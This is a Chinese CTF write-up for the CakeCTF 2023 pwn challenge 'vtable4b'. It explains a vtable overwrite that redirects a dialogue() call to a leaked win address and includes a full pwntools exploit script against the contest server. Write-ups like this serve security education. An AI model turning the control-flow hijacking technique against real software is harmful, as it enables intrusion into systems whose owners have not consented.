之前做了个国外的CTF小比赛,发现了一道很有意思的题目,话不多说,直接上题目:
由上图可以看到,dialogue()函数可以call地址(通过cowsy调用),而message()函数可以写入地址,并将它存入栈中。同时题目给了个getshell的地址,但这个地址每次打开程序都不一样。
可以看到我们写入的东西被放到了message中,而这个vtable for Cowsay可以通过cowsay-->dialogue()来调用dialogue函数,那么可以想到思路:将message填充为getshell地址,然后填充垃圾数据覆盖到vtable for cowsay,将这块地址的内容覆盖为message函数地址。那么当我发送完payload后输入“1”执行Use cowsay调用dialogue函数,会使程序执行到message函数,进而call message函数使程序执行到getshell地址,最终拿到shell!
from pwn import*
p = remote('vtable4b.2023.cakectf.com','9000')
context(os="linux",arch="amd64",log_level='debug')
p.recvuntil(b'<win> = 0x')
data = int(p.recv(12),16)#获取getshell地址(随机的,需要我们写脚本获取
print("data ="+hex(data))
p.recvuntil(b'>')
p.sendline(str(3))
p.recvuntil(b'0x')
addr=int(p.recv(12),16)+0x10#获取message函数的地址,即0xea0 + 0x10 = 0xeb0
print("addr ="+hex(addr))
p.recvuntil(b'>')
p.sendline(str(2))
payload = p64(data)+b'A'*0x18 + p64(addr)#布置栈
p.sendline(payload)
p.interactive()
最后输入1使程序执行到getshell的地址
原文始发于微信公众号(中学生CTF):记一次神奇的nc题(Pwn)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论